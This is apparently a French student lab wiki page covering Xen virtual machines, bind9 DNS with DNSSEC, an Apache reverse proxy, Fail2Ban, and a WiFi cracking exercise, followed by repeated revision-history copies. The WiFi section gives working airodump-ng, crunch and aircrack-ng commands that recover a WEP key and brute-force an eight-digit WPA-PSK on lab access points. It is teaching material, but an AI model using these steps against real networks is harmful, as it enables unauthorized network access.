!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. A noter que l'on était initialiement sur la distribution Excalibur, mais nous avons finalement changé pour Daedalus.<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight>
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatique
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-23T00:16:45Z

Tmerien : /* Machines virtuelles */

Atelier SysRes SE4 2025/2026 E10

2026-02-22T15:08:10Z

Tmerien : /* Paramètrage sur machine mandataire */

Atelier SysRes SE4 2025/2026 E10

2026-02-22T15:01:41Z

Tmerien : /* Paramètrage sur machine mandataire */

Atelier SysRes SE4 2025/2026 E10

2026-02-22T14:59:11Z

Tmerien : /* Paramètrage sur machine mandataire */

Atelier SysRes SE4 2025/2026 E10

2026-02-22T14:32:25Z

Tmerien : /* Fail2Ban */

Atelier SysRes SE4 2025/2026 E10

2026-02-22T11:36:01Z

Tmerien : /* Serveur Apache */

Atelier SysRes SE4 2025/2026 E10

2026-02-22T10:54:39Z

Tmerien :

Atelier SysRes SE4 2025/2026 E10

2026-02-10T23:41:01Z

Tmerien : /* Machines virtuelles */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS et avoir un site en HTTPS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.

En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code> <syntaxhighlight>
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys"; //repertoire des keys
dnssec-policy "dnspol"; //utilisation d'une politique DNSSEC
inline-signing yes; //activation de la signature automatique
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.
[[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Fichier:DNS Viz.png

2026-02-10T23:34:50Z

Tmerien :

Il n'y a pas d'erreurs, nous voyons que le DNSSEC fonctionne !

Fichier:Déploiement DNS IPv6.png

2026-02-10T23:29:17Z

Tmerien :

Le DNS a bien été déployé partout dans le monde !

Fichier:Déploiement IPv4.png

2026-02-10T23:26:21Z

Tmerien :

Nous voyons que le DNS a bien été déployé partout dans le monde

Atelier SysRes SE4 2025/2026 E10

2026-02-10T23:23:16Z

Tmerien : /* DNSSEC */

== Machines virtuelles ==

== Configuration réseau ==

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, ainsi, il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

